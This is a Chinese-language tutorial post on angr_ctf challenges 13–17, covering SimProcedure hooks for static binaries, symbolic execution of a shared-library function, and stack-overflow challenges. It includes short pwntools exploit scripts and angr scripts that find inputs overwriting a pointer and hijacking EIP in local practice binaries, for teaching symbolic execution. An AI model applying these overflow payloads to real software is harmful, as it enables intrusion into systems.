angr_ctf——從0學習angr(四):庫操作和溢位漏洞利用
angr_ctf專案中後面13~17題沒有新的成塊的有關angr的知識了,只是對之前題目使用到的模組的擴充套件和補充,因此就不先列知識點和使用方式了,直接在實戰中邊講解邊說明
庫操作
13_angr_static_binary:靜態編譯庫函式替換
此題的程式碼與第1題沒有區別,但它是靜態編譯得來的二進位制檔案,將所有的庫函式都寫入二進位制檔案了。
之前在angr_ctf——從0學習angr(三)中對第8題分析時講到,angr對於庫函式只會分出一條路徑,而不關心庫函式內部是怎樣實現的,庫函式內部的分支也不會增加angr路徑上的分支數量。
這個說法是正確的,但是不太嚴謹,這是因為angr存在一個符號函式摘要集(symbolic function summaries)
在預設情況下angr會使用SimProcedures裡面的符號函式摘要集替換庫函式,本質上是在庫函式上設定了Hooking,這些hook 函式高效地模仿庫函式對狀態的影響,就像我們之前在第8題中做的那樣。因此angr不進入庫函式內部的原因在於,它實際上執行的是hook函式,而hook函式只模仿了庫函式對狀態的影響,實際內部的操作並沒有實現,因此也就不會產生額外分支。
Simprocedures是一個兩層結構,第一層表示包名,第二層則是函式名:
而此題庫函式被靜態編譯進來了,預設啟用的符號函式摘要集作用在動態連結庫上,因此此時失效了,在該題中呼叫的庫函式都會進入內部併產生相應的分支,這會大大降低angr的效率。 因此此題的目的在於,手動使用符號函式摘要集替換程式中使用到的庫函式 想要獲取某個符號函式摘要集中的函式,可以使用下面的程式碼:angr.SIM_PROCEDURES['libc']['scanf']()
就可以獲取libc包中的scanf函數了,它是一個<SimProcedure scanf>與之前第10題中我們建立的class Hook是同一個類
對於這樣的hook函式,可以使用以下兩種方式將它hook到目標函式上去:
project.hook(address_of_hooked, angr.SIM_PROCEDURES['libc']['scanf']()) project.hook_symbol('__isoc99_scanf',angr.SIM_PROCEDURES['libc']['scanf']())
一種是傳遞待hook函式的地址,還有一種是傳遞函式名。
此外在進入main函式之前,程式會先呼叫__libc_start_main,它也是庫函式,而在建立狀態時,如果使用entry_state(),則初始狀態就已經經過了__libc_start_main的呼叫,所以最好也hook掉這個函式,或者使用blank_state手動從main函式開始。
所以此題的解題方式和之前的萬能指令碼相同,但是需要手動hook一下庫函式
angr程式碼:
import angr import time import claripy time_strat = time.perf_counter() def good(state): tag = b'Good' in state.posix.dumps(1) return True if tag else False def bad(state): tag = b'Try' in state.posix.dumps(1) return True if tag else False path_to_binary = './dist/13_angr_static_binary' p = angr.Project(path_to_binary, auto_load_libs=False) init_state = p.factory.entry_state()
# 手動hook庫函式 p.hook(0x804ed80, angr.SIM_PROCEDURES['libc']['scanf']()) p.hook(0x804ed40, angr.SIM_PROCEDURES['libc']['printf']()) p.hook(0x804f350, angr.SIM_PROCEDURES['libc']['puts']()) p.hook(0x8048280, angr.SIM_PROCEDURES['libc']['strcmp']()) p.hook_symbol('__libc_start_main', angr.SIM_PROCEDURES['glibc']['__libc_start_main']()) simgr = p.factory.simgr(init_state) simgr.explore(find=good, avoid=bad) if simgr.found: solution_state = simgr.found[0] flag = solution_state.posix.dumps(0) print(flag)
14_angr_shared_library:動態連結庫的符號執行
這題不是靜態編譯了,main函式的邏輯也和13題一樣,但是用於混淆輸入和比較的函式validate是通過動態連結庫呼叫進來的,因此直接逆向檢視動態連結庫
此題用萬能模板也能暴力破解,但為了練習的目的,我們還是對validate進行符號執行,思路如下:
- 模擬validate的函式執行,向它傳遞引數,引數的型別是一個符號變數
- 用explorer()探索路徑,直到validate函式返回前
- 為狀態新增約束,即返回值為1(這樣在main函式當中,就能夠打印出Good),為狀態新增約束可以使用solution_state.add_constraints
模擬validate的函式執行,有兩種方法,一種是使用blank_state()手動設定起始位置,並通過佈置棧來向validate傳遞引數,程式碼如下:
init_state = p.factory.blank_state(addr=validate_addr) init_state.regs.ebp = init_state.regs.esp init_state.stack_push(8) init_state.stack_push(password_addr) init_state.stack_push(0)
棧的佈置需要了解函式呼叫約定,這裡簡單解釋一下:
-
init_state.regs.ebp = init_state.regs.esp
這一句是為了初始化ebp,因為採用blank_state來初始化狀態的話,大部分暫存器是沒有初始化的,處於一個UNINITIALIZED狀態,而esp指向棧頂,是有數值的,在第1行程式碼後列印ebp和esp,結果為:
<BV32 reg_ebp_1_32{UNINITIALIZED}> <BV32 0x7fff0000>,所以為了使棧結構完整,先讓ebp到esp的位置來
- 先push(8)再push(password_addr)
這也是函式呼叫約定決定的,函式的引數從右向左壓入棧中,如果不清楚程式採用了哪種函式呼叫約定,可以通過main函式中,對validate(password, 8)的呼叫來決定棧的佈局
- 最後push(0)
實際上這裡你隨便push啥都可以,這個位置是函式的返回地址。需要這一步的原因是由於,函式返回地址的入棧是在main函式中完成的,也就是call _validate這條指令完成的。而我們設定的初始狀態是在動態連結庫的validate函式的開始處,也就是跳過了返回地址入棧這一步,因此也要還原回去。
上述方法需要對棧和彙編有一定的瞭解,angr提供了更方便的從函式處開始執行的方式:
init_state = p.factory.call_state(func_addr, param1, param2)
這樣就可以在函式func_addr處開始,傳遞給該函式的引數則是param1,param2,可以在這裡傳遞儲存了符號變數的地址和8
最後還需要注意的一點是,動態連結庫在載入時需要重定位,可以在建立專案時用load_options設定重定位的基址,就像這樣:
p = angr.Project(path_to_binary, auto_load_libs=False, load_options={'main_opts': { 'custom_base_addr': base_addr }})
如果不設立基址,通常angr會預設載入到0x400000處,在IDA中看到的各個指令的地址都只是相對地址,需要加上基址才能找到它們
angr指令碼如下:
import angr import claripy def good(state): tag = b'Good' in state.posix.dumps(1) return True if tag else False def bad(state): tag = b'Try' in state.posix.dumps(1) return True if tag else False path_to_binary = './dist/lib14_angr_shared_library.so' # 設定基址 base_addr = 0x400000 p = angr.Project(path_to_binary, auto_load_libs=False, load_options={'main_opts': { 'custom_base_addr': base_addr }}) # validate函式的地址 validate_addr = base_addr + 0x6d7 init_state = p.factory.blank_state(addr=validate_addr) # 建立符號變數,符號變數儲存地址任意,不影響程式執行的地址就行 password = claripy.BVS('password', 8 * 8) password_addr = base_addr + 0x5000 init_state.memory.store(password_addr, password) # 佈置棧空間 init_state.regs.ebp = init_state.regs.esp init_state.stack_push(8) init_state.stack_push(password_addr) init_state.stack_push(0) simgr = p.factory.simgr(init_state) simgr.explore(find=base_addr + 0x783) if simgr.found: solution_state = simgr.found[0] # 新增約束並求解,一般函式返回值會儲存在eax中,可以通過IDA確認 solution_state.add_constraints(solution_state.regs.eax == 1) print(solution_state.solver.eval(password, cast_to=bytes)) else: raise Exception("No solution found")
溢位漏洞利用
15_angr_arbitrary_read
題目邏輯很簡單,當key等於418108212時執行puts(s),否則puts(try_again),而s的初始值被設定為try_again。
這裡有個漏洞,就是scanf沒有限制輸入的字元個數,且v4的地址比s更低,因此輸入字元的長度超過v4的長度時,就可以覆蓋s,我們讓無敵的chatGPT來分析分析
還是看出來問題了的,當然chatGPT不知道我們想要輸出Good,所以沒有說出覆蓋s這一點
此外還通過shift+F12在地址484f4a47處找到了字串Good Job,因此直接掏出pwntools
from pwn import * p = process('./dist/15_angr_arbitrary_read') Good_addr = 0x484f4a47 payload = b'41810812' + b'a'*0x10 + p32(Good_addr) p.sendline(payload) p.interactive()
結果如下:
可以看到打印出了Good Job,解題結束。
但又好像沒結束,我們是來練習使用angr的,不是來寫pwn的。
這題使用angr的解題方式如下:
- 首先肯定是讓輸入符號化,先把scanf函式hook了再說,這裡儘管通過逆向能知道key必須等於41810812,但沒必要費勁給key傳遞一個確定的值,因為求解key==41810812只是一眨眼的事,angr的最大敵人是路徑太多。v4的長度應該要能夠覆蓋s,這樣實際上s也是一個符號了。
- 之後會到puts(s)這裡,什麼樣的狀態應該是我們的目標狀態嗎,是讓puts打印出Good嗎?傳遞給puts的引數只是一個符號,puts沒辦法通過一個符號找到字串,所以必須在執行puts前停下來
- 在puts前停下來如何保證puts能夠打印出Good呢?答案是新增約束,讓其引數s等於Good的地址。
hook函式的部分不做詳細解釋,需要注意的是,向一個地址寫入字串時不用管大小端序,也就是不用加上endness=p.arch.memory_endness這個引數。因為儘管字串的地址在大小端序中的儲存方式不同,但是字串作為一個數組,內部的元素是以大端序儲存的,如果當前程式是小端序,新增endness這個引數會導致字串是反的。
然後,angr在puts前停下時,此時狀態對應的地址是多少呢?
在main中,對puts的呼叫如下
angr是一個基本塊一個基本塊執行的,因此要麼停在0x0804851E要麼停在0x08048370,就是不能停在0x08048525這個地址,這個地址不會出現在angr探索的任何一條路徑上,因為它不是一個基本塊的開始地址。
那麼另外兩個地址該選哪個呢?0x0804851E處,puts的函式還沒有壓入棧中,並且puts的引數並不是儲存在記憶體當中的,我們無法獲取它在棧中的動態地址,因此只能選0x08048370,然後通過當前狀態的esp加上偏移訪問引數。
那,偏移是多少?可以看到0x08048370處是jmp指令,此時已經完成了call _puts,也就是說返回地址已經壓入棧中了,此時esp應該指向返回地址,所以引數儲存在esp + 4當中
angr程式碼如下:
import angr import claripy path_to_binary = './dist/15_angr_arbitrary_read' p = angr.Project(path_to_binary, auto_load_libs=False) init_state = p.factory.entry_state() class Hook(angr.SimProcedure): def run(self, str, key_addr, password_addr): key_bvs = claripy.BVS('key_bvs', 4 * 8) # v4和s相距0x10,再加上s的大小4,一共20個位元組 password_addr_bvs = claripy.BVS('password_addr_bvs', 20 * 8) for chr in password_addr_bvs.chop(bits=8): self.state.add_constraints(chr >= '0', chr <= 'z') self.state.memory.store(key_addr, key_bvs, endness=p.arch.memory_endness) # 向地址中寫入字串不用關心大小端序 self.state.memory.store(password_addr, password_addr_bvs) self.state.globals['password'] = password_addr_bvs p.hook_symbol('__isoc99_scanf', Hook()) def success(state): # 此處應為jmp puts的地址 call_puts_addr = 0x08048370 if state.addr != call_puts_addr: return False good_str_addr = 0x484f4a47 puts_param = state.memory.load(state.regs.esp + 4, 4, endness=p.arch.memory_endness) if state.solver.symbolic(puts_param): cp_state = state.copy() cp_state.add_constraints(puts_param == good_str_addr) # 判斷當前狀態是否有解,有解就說明找到了目標狀態 if cp_state.satisfiable(): state.add_constraints(puts_param == good_str_addr) return True else: return False else: return False simgr = p.factory.simgr(init_state) simgr.explore(find=success) if simgr.found: solution_state = simgr.found[0] s = solution_state.solver.eval(solution_state.globals['password'], cast_to=bytes) print(s) else: raise Exception("No solution found")
此外對於這段程式碼:
if state.solver.symbolic(puts_param): cp_state = state.copy() cp_state.add_constraints(puts_param == good_str_addr) # 判斷當前狀態是否有解,有解就說明找到了目標狀態 if cp_state.satisfiable(): state.add_constraints(puts_param == good_str_addr) return True else: return False else: return False
建立一個複製的狀態是為了不影響當前狀態,如果當前狀態還需要進一步執行才能達到目標狀態,而你在判斷當前狀態是否為目標狀態時增加了約束,可能會導致錯誤。
這段程式碼有一個更簡便的寫法:
if state.satisfiable(extra_constraints=(is_vulnerable_expression, )): state.add_constraints(is_vulnerable_expression) return True else: return False
在使用satisfiable判斷當前狀態是否有解時,可以使用extra_constraints新增約束,該約束會跟隨狀態一起判斷是否有解,但該約束不會寫入到狀態當中。
16_angr_arbitrary_write
和15題一模一樣,就不解釋了
17_angr_arbitrary_jump:挾持函式控制流
第17題,先逆向,發現撈的很
一個典中典之scanf("%s"),棧溢位,發現還有一個print_good函式,那麼依然是不解釋連招
from pwn import * p = process("./dist/17_angr_arbitrary_jump") payload = b'a' * 0x20 + p32(0xdeadbeef) + p32(0x42585249) p.sendline(payload) p.interactive()
但是我們得用angr來解。
這題的目的是獲取一個輸入,這個輸入能夠讓某個state的eip變成想要的值,也就是控制程式的控制流。那麼就意味著我們要讓eip變成某個符號變數,然後求解這個符號變數
eip都變成符號變量了,那麼程式該如何執行下一條指令呢?angr對於這種情況,一般會將state放到unconstrained這個stash中,有關stash的介紹可見angr_ctf——從0學習angr(一)。這個stash中的state會被angr預設丟棄以增加效率,而現在我們需要這個stash裡面的state。可以在建立SM時儲存,就像這樣:
simgr = p.factory.simgr(init_state, save_unconstrained=True)
處於unconstrained中的state,如果它在eip等於目標地址(也就是print_good的地址)時,能夠有解(滿足state.satisfiable為真),這樣的狀態就是目標狀態了,可以將它放入到found這個state中,stash中state的轉移也可以參考第一篇內容。
angr在執行時,每次進入新的路徑就會有新的state,為了判斷這個state是否符合要求,這次不用explorer自動探索了,我們採用step單步執行,然後獲取state進行判斷。
angr程式碼如下:
import angr import claripy # 下一條指令是print_good的情況下有解的state符合條件 def filter_func(state): print_good_addr = 0x42585249 return state.satisfiable( extra_constraints=(state.regs.eip == print_good_addr, )) path_to_binary = "./dist/17_angr_arbitrary_jump" proj = angr.Project(path_to_binary) class SimScanfProcedure(angr.SimProcedure): def run(self, fmtstr, input_addr): input_bvs = claripy.BVS('input_addr', 200 * 8) for chr in input_bvs.chop(bits = 8): self.state.add_constraints(chr >= '0', chr <= 'z') self.state.memory.store(input_addr, input_bvs) self.state.globals['input_val'] = input_bvs proj.hook_symbol('__isoc99_scanf', SimScanfProcedure()) init_state = proj.factory.entry_state() # 不丟棄unconstrained中的state simgr = proj.factory.simgr(init_state, save_unconstrained=True, stashes={ 'active': [init_state], 'unconstrained': [], 'found': [], }) while not simgr.found: # 如果沒有可執行的state,或者沒找到unconstrained的state,就退出 if (not simgr.active) and (not simgr.unconstrained): break # 把符合filter_func的unconstrained轉移到found中 simgr.move(from_stash='unconstrained', to_stash='found', filter_func=filter_func) simgr.step() if simgr.found: solution_state = simgr.found[0] print_good_addr = 0x42585249 solution_state.add_constraints(solution_state.regs.eip == print_good_addr) input_val = solution_state.solver.eval(solution_state.globals['input_val'], cast_to=bytes) print('password: {}'.format(input_val)) else: raise Exception('Could not find the solution!')